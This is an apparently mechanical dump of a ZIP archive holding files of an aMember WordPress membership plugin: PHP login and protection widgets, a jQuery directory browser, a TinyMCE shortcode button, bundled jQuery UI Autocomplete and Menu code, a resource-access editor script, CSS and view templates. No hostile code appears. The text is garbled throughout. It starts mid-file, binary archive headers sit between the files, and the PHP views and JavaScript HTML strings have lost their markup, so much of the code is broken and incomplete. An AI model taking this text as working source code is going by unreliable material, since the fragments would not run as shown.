$elem) { $_d[$elem['name']] = $elem['default']; } } $instance = array_merge($_d, $instance); foreach($instance as $k=>$v){ $instance[$k] = is_string($v) ? esc_attr($v) : $v; } return $instance; } function form_text_element($instance, $name, $text) { ?>


load_defaults($instance); $this->showElements($instance, "text"); ?>


showElements($instance, "checkbox"); ?>
load_defaults($instance); $api = am4PluginsManager::getAPI(); extract($args); $before_login_title = apply_filters('widget_title', $instance['before_login_title']); $after_login_title = apply_filters('widget_title', $instance['after_login_title']); if ($api->isLoggedIn()) { $title = $after_login_title; } else { $title = $before_login_title; } $ajax_widget = @$instance['ajax_widget']; if($ajax_widget) $before_widget = preg_replace('/class="/', "class=\"am4-ajax-widget ", $before_widget, 1); if(!defined('DOING_AJAX')) print $before_widget; if(!$ajax_widget || defined('DOING_AJAX')) { print $before_title.$title.$after_title; if($api->isLoggedIn()) $this->after_login_widget($instance); else $this->before_login_widget($instance); } if(!defined('DOING_AJAX')) print $after_widget; } function before_login_widget($instance) { // Login form here $view = new am4View("widget_login_form"); $view->assign("instance",$instance); $view->render(); } function after_login_widget($instance) { global $current_user; // Get current user's subscription and show usefull links; $amember_api = am4PluginsManager::getAPI(); $view = new am4View("widget_after_login"); $view->assign("instance",$instance); if($amember_api->isLoggedIn()){ $view->assign("user", $amember_api->getUser()); $view->assign("links", array_filter((array)$amember_api->getUserLinks())); } $view->assign('isLoggedIn', $amember_api->isLoggedIn()); $view->render(); } } include_once ABSPATH . WPINC . "/default-widgets.php"; class am4Widget_text extends WP_Widget_Text { function __construct() { $widget_ops = array('classname' => 'widget_text', 'description' => __('Arbitrary text or HTML', 'am4-plugin')); $control_ops = array('width' => 400, 'height' => 350); WP_Widget::__construct('amember_text', __('aMember Text Widget', 'am4-plugin'),$widget_ops, $control_ops); } function form($instance) { parent::form($instance); am4PluginsManager::get('widgets')->showWidgetProtectionBlock($this, $instance); } function update($new_instance, $old_instance) { $instance = parent::update($new_instance, $old_instance); $instance['access'] = $new_instance['access']; $instance['have'] = $new_instance['have']; $instance['not_have'] = $new_instance['not_have']; return $instance; } function get_field_name($field_name,$is_array=false) { if ($is_array) { return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . '][]'; } else { return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']'; } } function widget($args, $instance) { global $current_user; if(am4PluginsManager::get("widgets")->isWidgetAvailable($this, $instance)){ $instance['text'] = do_shortcode($instance['text']); return parent::widget($args, $instance); } } } class am4Widget_menu extends WP_Nav_Menu_Widget { function __construct() { $widget_ops = array('description' => __('Custom Menu with aMember protection settings', 'am4-plugin')); WP_Widget::__construct('amember_menu', __('aMember menu Widget', 'am4-plugin'), $widget_ops); } function form($instance) { parent::form($instance); am4PluginsManager::get('widgets')->showWidgetProtectionBlock($this, $instance); } function update($new_instance, $old_instance) { $instance = parent::update($new_instance, $old_instance); $instance['access'] = $new_instance['access']; $instance['have'] = $new_instance['have']; $instance['not_have'] = $new_instance['not_have']; return $instance; } function get_field_name($field_name,$is_array=false) { if ($is_array) { return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . '][]'; } else { return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']'; } } function widget($args, $instance) { global $current_user; if(am4PluginsManager::get("widgets")->isWidgetAvailable($this, $instance)){ return parent::widget($args, $instance); } } }PK\7$##Rprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/js/dirbrowser.jsnu[ /* * DirBrowser * * directory browser, this plugin should be used with input elements only * works together with dirbrowser.php * * @param urlField The jQuery selector for another field * that is to be updated with the url of selected folder from the DirBrowser * */ ;(function($) { $.fn.dirBrowser = function(inParam) { return this.each(function(){ var browser = this; if ($(browser).data('initialized')) { return; } else { if (this.type != 'text') { throw new Error('Element should be input-text to use browser for it'); } $(browser).data('initialized', 1); } var param = $.extend({ urlField : '', rootUrl : window.rootUrl }, inParam); /* * Store response from server side script here, * use this array while handling rearrange action */ var dirData = new Array; var sortDir = 'asc'; var sortField = null; var $div = $('
').hide() $(browser).after( $div ) function loadDirs(dir, selected) { $div.html('
'); v = {}; if (dir) { v['dir'] = dir; if (selected) { v['selected'] = selected; } } am_post( 'browse', v, function(data, textStatus){ dirData = $.parseJSON(data); $div.empty().append( drawBrowser(dirData) ) } ); } function drawCurrentDir(currentDir, separator) { var $div = $('
').addClass('path'); var $a = $('').attr('href', 'javascript:;'); var $el; for(var i in currentDir) { if (i>0) { $div.append(' ' + separator + ' '); } if (currentDir[i].path) { $el = $a.clone().append(currentDir[i].name).data('path', currentDir[i].path).click(function(){ loadDirs($(this).data('path')) }) } else { $el = $(document.createTextNode(currentDir[i].name)) } $div.append($el) } return $div; } function drawBrowser(data) { return $('
').append( drawCurrentDir(data.currentDir, data.separator) ).append( drawDirList(data.dirList, data.prevDir) ).addClass('dir-browser').append($('
Click radio-button to choose a directory')); } function drawHeaderCell(title, name, isSortable) { if (isSortable) { out = $('').attr({ href : 'javascript:;' }).append(title).addClass('a-sort').data('name', name); if (sortField == name) { out.addClass('sorted-' + sortDir); out.data('sortDir', sortDir); } out.click(function(){ if ($(this).data('sortDir') == 'asc') { $(this).data('sortDir', 'desc'); sortDir = 'desc'; } else { $(this).data('sortDir', 'asc'); sortDir = 'asc'; } sortField = $(this).data('name'); $div.empty().append( drawBrowser(dirData) ) }) } else { out = title; } return out; } function drawDirList(files, prevDir) { $table = $('
').css({width:'100%', overflow: 'auto'}); $table.addClass('grid'); $tr = $(''); $th = $(''); $td = $(''); $radio = $('').attr({ name : '___browser___', type : 'radio' }); $a = $('').attr({ href : 'javascript:;' }); $table.append( $tr.clone().append( $th.clone() ).append( $th.clone().append( drawHeaderCell('Name', 'name', true) ) ).append( $th.clone().append( drawHeaderCell('Mode', 'perm', false) ) ).append( $th.clone().append( drawHeaderCell('Created', 'created', true) ) ) ); var $el; if (prevDir) { $el = $(document.createTextNode( prevDir.name ? 'Previous Directory ' + '(' + prevDir.name + ')' : 'Root' )); if (prevDir.path) { $el = $a.clone().append( $el.clone() ).click(function(){ loadDirs($(this).closest('tr').data('path')); }); } $table.append( $tr.clone().data('path', prevDir.path).append( $td.clone().attr('colspan', 4).append( $el ) ) ) } if (sortField!==null) { files.sort(function(a,b){ if (a[sortField] > b[sortField]) { return sortDir == 'asc' ? 1 : -1; } if (a[sortField] < b[sortField]) { return sortDir == 'asc' ? -1 : 1; } return 0; }); } for (var i in files) { $f_radio = $radio.clone().click(function(){ $(browser).val($(this).closest('tr').data('path')); $(browser).change(); if (param.urlField) { var url = $(this).closest('tr').data('url'); if (url) { $(param.urlField).val(url).addClass('disabled');//.attr('disabled', 'disabled'); } else { $(param.urlField).val('').removeClass('disabled');//.removeAttr('disabled'); } } $div.dialog('close'); }); if (files[i].selected) { $f_radio.prop('checked', true); } $table.append( $tr.clone().data('path', files[i].path).data('url', files[i].url).append( $td.clone().attr('width', '1%').append( $f_radio ) ).append( $td.clone().append( $a.clone().append(files[i].name) ).click(function(){ loadDirs($(this).closest('tr').data('path')); }) ).append( $td.clone().append(files[i].perm) ).append( $td.clone().append(files[i].created) ) ); } return $table; } $link = $('browse...').attr('href', 'javascript:;'); $(browser).after($link); $link.before(' '); $link.click(function(){ $div.dialog({ modal : true, title : "Directory Browser", width : 600, height: 500, position : ['center', 100], buttons : { Cancel : function(){ $(this).dialog("close") } }, open : function(){ loadDirs($(browser).val(), true); }, close : function() { $div.empty(); } }); }) }) } })(jQuery);PK\Oprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/js/tinymce.jsnu[(function(){ tinymce.create('tinymce.plugins.am4plugin', { init : function(ed, url){ ed.addCommand('amInsertaMemberShortcodeWindow', function(){ /////// Now open php file var win = window.dialogArguments || opener || parent || top; r = ed.windowManager.open({ url : url+'/../shortcode_select.php', width : 800, height : 500, inline : 1 }); }); ed.addButton('am4button', { title : 'aMember shortcodes', image : '../wp-content/plugins/amember4/img/lock.png', cmd : "amInsertaMemberShortcodeWindow" }); } }); // Register plugin with a short name tinymce.PluginManager.add('am4plugin', tinymce.plugins.am4plugin); })(); PK\e F@@^protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/js/jquery.ui.autocomplete.jsnu[/* * jQuery UI Autocomplete 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Autocomplete * * Depends: * jquery.ui.core.js * jquery.ui.widget.js * jquery.ui.position.js */ (function( $, undefined ) { // used to prevent race conditions with remote data sources var requestIndex = 0; $.widget( "ui.autocomplete", { options: { appendTo: "body", autoFocus: false, delay: 300, minLength: 1, position: { my: "left top", at: "left bottom", collision: "none" }, source: null }, pending: 0, _create: function() { var self = this, doc = this.element[ 0 ].ownerDocument, suppressKeyPress; this.element .addClass( "ui-autocomplete-input" ) .attr( "autocomplete", "off" ) // TODO verify these actually work as intended .attr({ role: "textbox", "aria-autocomplete": "list", "aria-haspopup": "true" }) .bind( "keydown.autocomplete", function( event ) { if ( self.options.disabled || self.element.propAttr( "readOnly" ) ) { return; } suppressKeyPress = false; var keyCode = $.ui.keyCode; switch( event.keyCode ) { case keyCode.PAGE_UP: self._move( "previousPage", event ); break; case keyCode.PAGE_DOWN: self._move( "nextPage", event ); break; case keyCode.UP: self._move( "previous", event ); // prevent moving cursor to beginning of text field in some browsers event.preventDefault(); break; case keyCode.DOWN: self._move( "next", event ); // prevent moving cursor to end of text field in some browsers event.preventDefault(); break; case keyCode.ENTER: case keyCode.NUMPAD_ENTER: // when menu is open and has focus if ( self.menu.active ) { // #6055 - Opera still allows the keypress to occur // which causes forms to submit suppressKeyPress = true; event.preventDefault(); } //passthrough - ENTER and TAB both select the current element case keyCode.TAB: if ( !self.menu.active ) { return; } self.menu.select( event ); break; case keyCode.ESCAPE: self.element.val( self.term ); self.close( event ); break; default: // keypress is triggered before the input value is changed clearTimeout( self.searching ); self.searching = setTimeout(function() { // only search if the value has changed if ( self.term != self.element.val() ) { self.selectedItem = null; self.search( null, event ); } }, self.options.delay ); break; } }) .bind( "keypress.autocomplete", function( event ) { if ( suppressKeyPress ) { suppressKeyPress = false; event.preventDefault(); } }) .bind( "focus.autocomplete", function() { if ( self.options.disabled ) { return; } self.selectedItem = null; self.previous = self.element.val(); }) .bind( "blur.autocomplete", function( event ) { if ( self.options.disabled ) { return; } clearTimeout( self.searching ); // clicks on the menu (or a button to trigger a search) will cause a blur event self.closing = setTimeout(function() { self.close( event ); self._change( event ); }, 150 ); }); this._initSource(); this.response = function() { return self._response.apply( self, arguments ); }; this.menu = $( "
    " ) .addClass( "ui-autocomplete" ) .appendTo( $( this.options.appendTo || "body", doc )[0] ) // prevent the close-on-blur in case of a "slow" click on the menu (long mousedown) .mousedown(function( event ) { // clicking on the scrollbar causes focus to shift to the body // but we can't detect a mouseup or a click immediately afterward // so we have to track the next mousedown and close the menu if // the user clicks somewhere outside of the autocomplete var menuElement = self.menu.element[ 0 ]; if ( !$( event.target ).closest( ".ui-menu-item" ).length ) { setTimeout(function() { $( document ).one( 'mousedown', function( event ) { if ( event.target !== self.element[ 0 ] && event.target !== menuElement && !$.ui.contains( menuElement, event.target ) ) { self.close(); } }); }, 1 ); } // use another timeout to make sure the blur-event-handler on the input was already triggered setTimeout(function() { clearTimeout( self.closing ); }, 13); }) .menu({ focus: function( event, ui ) { var item = ui.item.data( "item.autocomplete" ); if ( false !== self._trigger( "focus", event, { item: item } ) ) { // use value to match what will end up in the input, if it was a key event if ( /^key/.test(event.originalEvent.type) ) { self.element.val( item.value ); } } }, selected: function( event, ui ) { var item = ui.item.data( "item.autocomplete" ), previous = self.previous; // only trigger when focus was lost (click on menu) if ( self.element[0] !== doc.activeElement ) { self.element.focus(); self.previous = previous; // #6109 - IE triggers two focus events and the second // is asynchronous, so we need to reset the previous // term synchronously and asynchronously :-( setTimeout(function() { self.previous = previous; self.selectedItem = item; }, 1); } if ( false !== self._trigger( "select", event, { item: item } ) ) { self.element.val( item.value ); } // reset the term after the select event // this allows custom select handling to work properly self.term = self.element.val(); self.close( event ); self.selectedItem = item; }, blur: function( event, ui ) { // don't set the value of the text field if it's already correct // this prevents moving the cursor unnecessarily if ( self.menu.element.is(":visible") && ( self.element.val() !== self.term ) ) { self.element.val( self.term ); } } }) .zIndex( this.element.zIndex() + 1 ) // workaround for jQuery bug #5781 http://dev.jquery.com/ticket/5781 .css({ top: 0, left: 0 }) .hide() .data( "menu" ); if ( $.fn.bgiframe ) { this.menu.element.bgiframe(); } }, destroy: function() { this.element .removeClass( "ui-autocomplete-input" ) .removeAttr( "autocomplete" ) .removeAttr( "role" ) .removeAttr( "aria-autocomplete" ) .removeAttr( "aria-haspopup" ); this.menu.element.remove(); $.Widget.prototype.destroy.call( this ); }, _setOption: function( key, value ) { $.Widget.prototype._setOption.apply( this, arguments ); if ( key === "source" ) { this._initSource(); } if ( key === "appendTo" ) { this.menu.element.appendTo( $( value || "body", this.element[0].ownerDocument )[0] ) } if ( key === "disabled" && value && this.xhr ) { this.xhr.abort(); } }, _initSource: function() { var self = this, array, url; if ( $.isArray(this.options.source) ) { array = this.options.source; this.source = function( request, response ) { response( $.ui.autocomplete.filter(array, request.term) ); }; } else if ( typeof this.options.source === "string" ) { url = this.options.source; this.source = function( request, response ) { if ( self.xhr ) { self.xhr.abort(); } self.xhr = $.ajax({ url: url, data: request, dataType: "json", autocompleteRequest: ++requestIndex, success: function( data, status ) { if ( this.autocompleteRequest === requestIndex ) { response( data ); } }, error: function() { if ( this.autocompleteRequest === requestIndex ) { response( [] ); } } }); }; } else { this.source = this.options.source; } }, search: function( value, event ) { value = value != null ? value : this.element.val(); // always save the actual value, not the one passed as an argument this.term = this.element.val(); if ( value.length < this.options.minLength ) { return this.close( event ); } clearTimeout( this.closing ); if ( this._trigger( "search", event ) === false ) { return; } return this._search( value ); }, _search: function( value ) { this.pending++; this.element.addClass( "ui-autocomplete-loading" ); this.source( { term: value }, this.response ); }, _response: function( content ) { if ( !this.options.disabled && content && content.length ) { content = this._normalize( content ); this._suggest( content ); this._trigger( "open" ); } else { this.close(); } this.pending--; if ( !this.pending ) { this.element.removeClass( "ui-autocomplete-loading" ); } }, close: function( event ) { clearTimeout( this.closing ); if ( this.menu.element.is(":visible") ) { this.menu.element.hide(); this.menu.deactivate(); this._trigger( "close", event ); } }, _change: function( event ) { if ( this.previous !== this.element.val() ) { this._trigger( "change", event, { item: this.selectedItem } ); } }, _normalize: function( items ) { // assume all items have the right format when the first item is complete if ( items.length && items[0].label && items[0].value ) { return items; } return $.map( items, function(item) { if ( typeof item === "string" ) { return { label: item, value: item }; } return $.extend({ label: item.label || item.value, value: item.value || item.label }, item ); }); }, _suggest: function( items ) { var ul = this.menu.element .empty() .zIndex( this.element.zIndex() + 1 ); this._renderMenu( ul, items ); // TODO refresh should check if the active item is still in the dom, removing the need for a manual deactivate this.menu.deactivate(); this.menu.refresh(); // size and position menu ul.show(); this._resizeMenu(); ul.position( $.extend({ of: this.element }, this.options.position )); if ( this.options.autoFocus ) { this.menu.next( new $.Event("mouseover") ); } }, _resizeMenu: function() { var ul = this.menu.element; ul.outerWidth( Math.max( ul.width( "" ).outerWidth(), this.element.outerWidth() ) ); }, _renderMenu: function( ul, items ) { var self = this; $.each( items, function( index, item ) { self._renderItem( ul, item ); }); }, _renderItem: function( ul, item) { return $( "
  • " ) .data( "item.autocomplete", item ) .append( $( "" ).text( item.label ) ) .appendTo( ul ); }, _move: function( direction, event ) { if ( !this.menu.element.is(":visible") ) { this.search( null, event ); return; } if ( this.menu.first() && /^previous/.test(direction) || this.menu.last() && /^next/.test(direction) ) { this.element.val( this.term ); this.menu.deactivate(); return; } this.menu[ direction ]( event ); }, widget: function() { return this.menu.element; } }); $.extend( $.ui.autocomplete, { escapeRegex: function( value ) { return value.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&"); }, filter: function(array, term) { var matcher = new RegExp( $.ui.autocomplete.escapeRegex(term), "i" ); return $.grep( array, function(value) { return matcher.test( value.label || value.value || value ); }); } }); }( jQuery )); /* * jQuery UI Menu (not officially released) * * This widget isn't yet finished and the API is subject to change. We plan to finish * it for the next release. You're welcome to give it a try anyway and give us feedback, * as long as you're okay with migrating your code later on. We can help with that, too. * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Menu * * Depends: * jquery.ui.core.js * jquery.ui.widget.js */ (function($) { $.widget("ui.menu", { _create: function() { var self = this; this.element .addClass("ui-menu ui-widget ui-widget-content ui-corner-all") .attr({ role: "listbox", "aria-activedescendant": "ui-active-menuitem" }) .click(function( event ) { if ( !$( event.target ).closest( ".ui-menu-item a" ).length ) { return; } // temporary event.preventDefault(); self.select( event ); }); this.refresh(); }, refresh: function() { var self = this; // don't refresh list items that are already adapted var items = this.element.children("li:not(.ui-menu-item):has(a)") .addClass("ui-menu-item") .attr("role", "menuitem"); items.children("a") .addClass("ui-corner-all") .attr("tabindex", -1) // mouseenter doesn't work with event delegation .mouseenter(function( event ) { self.activate( event, $(this).parent() ); }) .mouseleave(function() { self.deactivate(); }); }, activate: function( event, item ) { this.deactivate(); if (this.hasScroll()) { var offset = item.offset().top - this.element.offset().top, scroll = this.element.scrollTop(), elementHeight = this.element.height(); if (offset < 0) { this.element.scrollTop( scroll + offset); } else if (offset >= elementHeight) { this.element.scrollTop( scroll + offset - elementHeight + item.height()); } } this.active = item.eq(0) .children("a") .addClass("ui-state-hover") .attr("id", "ui-active-menuitem") .end(); this._trigger("focus", event, { item: item }); }, deactivate: function() { if (!this.active) { return; } this.active.children("a") .removeClass("ui-state-hover") .removeAttr("id"); this._trigger("blur"); this.active = null; }, next: function(event) { this.move("next", ".ui-menu-item:first", event); }, previous: function(event) { this.move("prev", ".ui-menu-item:last", event); }, first: function() { return this.active && !this.active.prevAll(".ui-menu-item").length; }, last: function() { return this.active && !this.active.nextAll(".ui-menu-item").length; }, move: function(direction, edge, event) { if (!this.active) { this.activate(event, this.element.children(edge)); return; } var next = this.active[direction + "All"](".ui-menu-item").eq(0); if (next.length) { this.activate(event, next); } else { this.activate(event, this.element.children(edge)); } }, // TODO merge with previousPage nextPage: function(event) { if (this.hasScroll()) { // TODO merge with no-scroll-else if (!this.active || this.last()) { this.activate(event, this.element.children(".ui-menu-item:first")); return; } var base = this.active.offset().top, height = this.element.height(), result = this.element.children(".ui-menu-item").filter(function() { var close = $(this).offset().top - base - height + $(this).height(); // TODO improve approximation return close < 10 && close > -10; }); // TODO try to catch this earlier when scrollTop indicates the last page anyway if (!result.length) { result = this.element.children(".ui-menu-item:last"); } this.activate(event, result); } else { this.activate(event, this.element.children(".ui-menu-item") .filter(!this.active || this.last() ? ":first" : ":last")); } }, // TODO merge with nextPage previousPage: function(event) { if (this.hasScroll()) { // TODO merge with no-scroll-else if (!this.active || this.first()) { this.activate(event, this.element.children(".ui-menu-item:last")); return; } var base = this.active.offset().top, height = this.element.height(); result = this.element.children(".ui-menu-item").filter(function() { var close = $(this).offset().top - base + height - $(this).height(); // TODO improve approximation return close < 10 && close > -10; }); // TODO try to catch this earlier when scrollTop indicates the last page anyway if (!result.length) { result = this.element.children(".ui-menu-item:first"); } this.activate(event, result); } else { this.activate(event, this.element.children(".ui-menu-item") .filter(!this.active || this.first() ? ":last" : ":first")); } }, hasScroll: function() { return this.element.height() < this.element[ $.fn.prop ? "prop" : "attr" ]("scrollHeight"); }, select: function( event ) { this._trigger("selected", event, { item: this.active }); } }); }(jQuery)); PK\2TKKVprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/settings.phtmlnu[

    checkboxes('options[disable_protection][]', am4PluginsManager::getWpRoles(true) ,$options['disable_protection']);?>

    >

    PK\85"5"Yprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/resourceaccess.jsnu[/* * To change this template, choose Tools | Templates * and open the template in the editor. */ /* * Folder Access editor JS code * includes LGPL outerClick library to speedup loading - you can use it for free according to LGPL * @author Alex Scott alex@cgi-central.net * @license for this JS file - LGPL */ ;(function($) { $.fn.resourceAccess = function(param) { return this.each(function(){ var without_period = param.without_period ; var resourceAccess = { mainDiv: this, currentEditor: null, currentEditorType: null, // 'start' or 'stop' startText : "start", stopText : "expiration", foreverText : "forever", getVarName : function(){ return $(this.mainDiv).data('varname'); }, textCallback : function (id, text, cl, start, stop){ var startText = start ? start : resourceAccess.startText; var stopText = (parseInt(stop) == -1 ? resourceAccess.foreverText : (stop ? stop : resourceAccess.stopText)); // encode text var div = document.createElement('div'); div.appendChild(document.createTextNode(text)); var encodedText = div.innerHTML; var divcont = $("
    "); var closelink = $("[X]").click(this.onXClickedRemoveLine); divcont.append(closelink); var clText = cl.charAt(0).toUpperCase() + cl.substr(1); divcont.append(" "+clText+" "+text+""); if(!without_period){ var astart = $(""+startText+"").click(this.onLinkClickedShowEditor); var astop = $(""+stopText+"").click(this.onLinkClickedShowEditor); divcont.append(document.createTextNode(" from "), astart, document.createTextNode(" to "), astop); } // Hiddens; divcont.append(""); divcont.append(""); divcont.append(""); return divcont; }, onPeriodChange: function() { if ($(this).val() == '' || $(this).val()==-1) { $(this).prev("input#resourceaccess-count").hide(); } else { $(this).prev("input#resourceaccess-count").show(); } }, hideEditor: function() { if (!resourceAccess.currentEditor) return; var isStart = $(resourceAccess.currentEditor).hasClass('resourceaccess-start'); resourceAccess.setCurrentEditorHidden( isStart, $(".resourceaccess-edit #resourceaccess-count",this.mainDiv).val(), $(".resourceaccess-edit #resourceaccess-unit",this.mainDiv).val() ); $(".resourceaccess-edit #resourceaccess-unit", this.mainDiv).change(); resourceAccess.setLinkTextBasedOnHidden($(resourceAccess.currentEditor)); $('.resourceaccess-edit',this.mainDiv).remove(); $(resourceAccess.currentEditor).show(); resourceAccess.currentEditor = null; }, openEditor: function(editor) { var p = $(editor).parent(".resourceaccess-item"); editor.parentDiv = p; var isStart = $(editor).hasClass('resourceaccess-start'); resourceAccess.currentEditor = editor; resourceAccess.currentEditorType = isStart ? 'start' : 'stop'; var text = $(""); var select = $(""); select.append(new Option(isStart ? resourceAccess.startText : resourceAccess.stopText, '')); select.append(new Option('-th day', 'd')); if (isStart) { var opt = new Option('-nd payment', 'p'); if (p.data('item_type') != 'product') $(opt).attr("disabled", true); // allow to select -nd payment only for products not cats select.append(opt); } if(!isStart) select.append(new Option('forever', '-1')); var span = $(""); span.append(text); span.append(select); span.bind("outerClick", resourceAccess.hideEditor); text.hide(); var val = resourceAccess.getCurrentEditorHidden(isStart); text.val(val[0]); select.val(val[1]); select.change(resourceAccess.onPeriodChange).change(); $(editor).hide().after(span); }, onSelectChangeAddOption: function(){ if (this.selectedIndex<=0) return; var selectedOption = this.options[this.selectedIndex]; if (!selectedOption || !selectedOption.value) return; var cl = $(selectedOption).closest("optgroup").attr("class").replace(/^(a-zA-Z0-9)+/, '$1'); resourceAccess.addItem(cl, selectedOption.value, selectedOption.text, "", ""); this.selectedIndex = null; }, addItem: function(cl, id, value, start, stop) { var div = resourceAccess.textCallback(id, value, cl, start, stop); div.data("item_id", id); div.data("item_type", cl); $("."+cl+"-list", resourceAccess.mainDiv).append(div); $("select.category optgroup."+ cl +" option[value='"+id+"']", resourceAccess.mainDiv).attr('disabled', 'disabled'); }, onXClickedRemoveLine: function(){ var item = $(this).parent("div.resourceaccess-item"); $("."+item.data('item_type')+" option[value='"+item.data('item_id')+"']", resourceAccess.mainDiv).attr('disabled', ''); item.remove(); }, onLinkClickedShowEditor: function(e){ e.stopPropagation(); if (resourceAccess.currentEditor != this) { resourceAccess.hideEditor(); resourceAccess.openEditor(this); } }, init: function() { $(this.mainDiv).on("change", "select.category", this.onSelectChangeAddOption); var stored = {'product' : {}, 'category' : {}}; eval('stored = ' + $(".resourceaccess-init", this.mainDiv).val()); for (cl in stored) for (id in stored[cl]) { var item = stored[cl][id]; this.addItem(cl, id, item.title, item.start, item.stop); } }, /** return array [count:{'',0-9+}, unit:{'','d', 'm}] */ getCurrentEditorHidden: function(forStart) { var hiddenVal = $(".resourceaccess-hidden[name$='["+(forStart?'start':'stop')+"]']", this.currentEditor.parentDiv).val(); var ret = [ isNaN(parseInt(hiddenVal)) ? 0 : (parseInt(hiddenVal) == -1 ? '' : parseInt(hiddenVal)), hiddenVal.replace(/^[0-9]+/, '') ]; return ret; }, setCurrentEditorHidden: function(forStart, count, unit) { var el = $(".resourceaccess-hidden[name$='["+(forStart?'start':'stop')+"]']", this.currentEditor.parentDiv); var set = ''; if (unit != '') { if (isNaN(parseInt(count))) { flashError("Incorrect integer value entered: please repeat input"); return false; } set = (unit == '-1' ? '-1' : "" + parseInt(count) + "" + unit); } el.val(set); }, setLinkTextBasedOnHidden: function(link) { var link = $(resourceAccess.currentEditor); var isStart = link.hasClass('resourceaccess-start'); var text = resourceAccess.getCurrentEditorHidden(isStart).join(''); if(parseInt(text) == -1) text = resourceAccess.foreverText; else if (text == '0') text = isStart ? resourceAccess.startText : resourceAccess.stopText; link.text(text); } }; resourceAccess.init(); }); } })(jQuery); PK\ڟvaEE]protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcodes_help.phtmlnu[getShortcodes() as $s) : ?>
    getDescription();?>
    getHelp();?>
    render(); ?> PK\У++Xprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/admin_styles.cssnu[/* Document : admin-styles Created on : Apr 14, 2011, 3:42:29 PM Author : alexander Description: Will be included on all admin pages; */ /* TODO customize this sample style Syntax recommendation http://www.w3.org/TR/REC-CSS2/ */ .amember_error{ color : red; font-weight: bold; } #am-protection-error { color: red; font-weight: bold; } .amember-protection-block{ } .am4-additional-setting{ padding-left: 20px; } /* Shortcode styles */ .am4shortcode-block{ border-spacing: 4px; } .am4shortcode-block td{ padding: 0px 2px 0px 2px; align: left; vertical-align: top; height: 2.5em; font-size: 100%; } td.am4shortcode-syntax{ font-weight: bold; font-size: 100%; width:40% } td.am4shortcode-short{ font-size: 100%; width:60% } tr.am4shortcode-help{ display:none; } td.am4shortcode-help{ padding: 10px 10px 10px 40px; } .am4shortcode-help table{ border-spacing: 2px 10px; } .am4shortcode-help td,th{ vertical-align: top; text-align: left; font-size: 100%; } div.am4shortcode-help{ line-height: 120%; } .am4shortcode-help div{ margin-bottom : 2px; } div.am4show-build{ border: 1px solid black; padding: 3px 3px 3px 3px; } .am4shortcode { font-weight: bold; } PK\}yTprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/styles.phtmlnu[$value) : ?>

    PK\dȝ_protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/widget_protection.phtmlnu[
    " value="guest" >
    " value="not_have" >
    resourceAccess($widget->id."not_have", @$instance['not_have'], $widget->get_field_name('not_have'), __('Select Products that user should not have', 'am4-plugin'), self::RESOURCE_ACCESS_SKIP_PERIOD);?>
    " value="have" >
    resourceAccess($widget->id."have", @$instance['have'], $widget->get_field_name('have'), __('Select Products that user should have', 'am4-plugin'),false);?>
    PK\v||_protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcode_am4user.phtmlnu[

    [am4user]John Doe
    [am4user var=user_id]1
    [am4user var=login]johndoe
    [am4user var=email]johndoe@example.com
    [am4user var=name_f]John
    [am4user var=name_l]Doe
    [am4user var=city]New York
    [am4user var=state]NY
    [am4user var=zip]12334
    [am4user var=country]US
    [am4user var=phone]123-123-1234
    PK\V\4 4 \protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/jquery.outerClick.jsnu[/** * jQuery custom event "outerClick". * @author David Brockman Smoliansky http://littleroom.se/ * @license GNU Lesser General Public License: http://creativecommons.org/licenses/LGPL/2.1/ * @version 1.1 * 2009/02/27 * * The outerClick event is fired when an element outside of the target element is clicked. * * Usage: * $(selector).bind("outerClick", fn); // Bind the function fn to the outerClick event on each of the matched elements. * $(selector).outerClick(fn); // Bind the function fn to the outerClick event on each of the matched elements. * $(selector).trigger("outerClick"); // Trigger the outerClick event on each of the matched elements. * $(selector).outerClick(); // Trigger the outerClick event on each of the matched elements. * $(selector).unbind("outerClick", fn); // Unbind the function fn from the outerClick event on each of the matched elements. * $(selector).unbind("outerClick"); // Unbind all outerClick events from each of the matched elements. */ /*global jQuery */ (function ($, elements, OUTER_CLICK) { /** * Check if the event should be fired. * @param {Object} event The click event. * @private */ function check(event) { for (var i = 0, l = elements.length, target = event.target, el; i < l; i++) { el = elements[i]; if (el !== target && !(el.contains ? el.contains(target) : el.compareDocumentPosition ? el.compareDocumentPosition(target) & 16 : 1)) { $.event.trigger(OUTER_CLICK, event, el); } } } $.event.special[OUTER_CLICK] = { setup: function () { var i = elements.length; if (!i) { $.event.add(document, 'click', check); } if ($.inArray(this, elements) < 0) { elements[i] = this; } }, teardown: function () { var i = $.inArray(this, elements); if (i >= 0) { elements.splice(i, 1); if (!elements.length) { $.event.remove(document, 'click', check); } } } }; /** * Event helper outerClick * * @param {Function} [fn] A function to bind to the outerClick event on each of the matched elements. * If fn is omitted the event is triggered. * @return {jQuery} Returns the jQuery object. */ $.fn[OUTER_CLICK] = function (fn) { return fn ? this.bind(OUTER_CLICK, fn) : this.trigger(OUTER_CLICK); }; })(jQuery, [], 'outerClick');PK\ܟf Vprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/category.phtmlnu[
    name="options[_action_cat]" value="show">
    name="options[_action_cat]" value="page">
    name="options[_action_cat]" value="redirect">
    name="options[_action_cat]" value="login">

    name="options[_action_cat_menu]" value="hide">
    name="options[_action_cat_menu]" value="show">
